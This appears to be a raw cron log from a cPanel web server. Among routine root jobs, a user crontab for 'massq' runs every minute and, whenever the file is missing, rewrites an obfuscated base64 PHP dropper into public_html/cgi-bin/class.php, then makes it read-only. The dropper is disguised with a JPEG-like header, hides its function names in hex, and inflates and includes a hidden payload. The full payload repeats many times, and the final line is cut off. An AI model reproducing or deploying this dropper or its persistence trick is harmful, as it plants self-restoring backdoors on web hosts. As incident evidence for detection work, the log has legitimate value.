Sep 11 05:56:01 server CROND[22167]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 05:56:01 server CROND[22169]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:56:01 server CROND[22168]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:57:01 server CROND[22540]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 05:57:01 server CROND[22541]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 05:57:01 server CROND[22542]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:57:01 server CROND[22543]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:58:01 server CROND[23084]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:58:01 server CROND[23083]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:58:01 server CROND[23085]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 05:59:01 server CROND[23482]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 05:59:01 server CROND[23483]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:59:01 server CROND[23484]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:00:01 server CROND[23975]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 06:00:01 server CROND[23976]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:00:01 server CROND[23978]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 06:00:01 server CROND[23979]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 06:00:01 server CROND[23989]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 06:00:01 server CROND[23988]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep 11 06:00:01 server CROND[23985]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 06:00:01 server CROND[23987]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 11 06:00:01 server CROND[23986]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 06:00:01 server CROND[23984]: (root) CMD (/usr/local/cpanel/scripts/exim_tidydb > /dev/null 2>&1)
Sep 11 06:00:01 server CROND[23983]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:01:01 server CROND[24844]: (root) CMD (run-parts /etc/cron.hourly)
Sep 11 06:01:01 server CROND[24845]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:01:01 server CROND[24847]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:01:01 server CROND[24846]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 06:01:01 server run-parts(/etc/cron.hourly)[24844]: starting 0anacron
Sep 11 06:01:01 server run-parts(/etc/cron.hourly)[24868]: finished 0anacron
Sep 11 06:02:01 server CROND[25318]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:02:01 server CROND[25320]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:02:01 server CROND[25319]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 06:03:01 server CROND[25690]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 06:03:01 server CROND[25691]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:03:01 server CROND[25692]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:04:01 server CROND[26063]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 06:04:01 server CROND[26062]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:04:01 server CROND[26070]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:05:01 server CROND[26471]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:05:01 server CROND[26472]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:05:01 server CROND[26475]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 06:05:01 server CROND[26476]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 06:05:01 server CROND[26478]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 06:05:01 server CROND[26477]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 06:05:01 server CROND[26483]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 06:05:01 server CROND[26479]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 06:06:01 server CROND[27305]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 06:06:01 server CROND[27306]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:06:01 server CROND[27307]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:07:01 server CROND[27768]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:07:01 server CROND[27769]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 06:07:01 server CROND[27771]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZ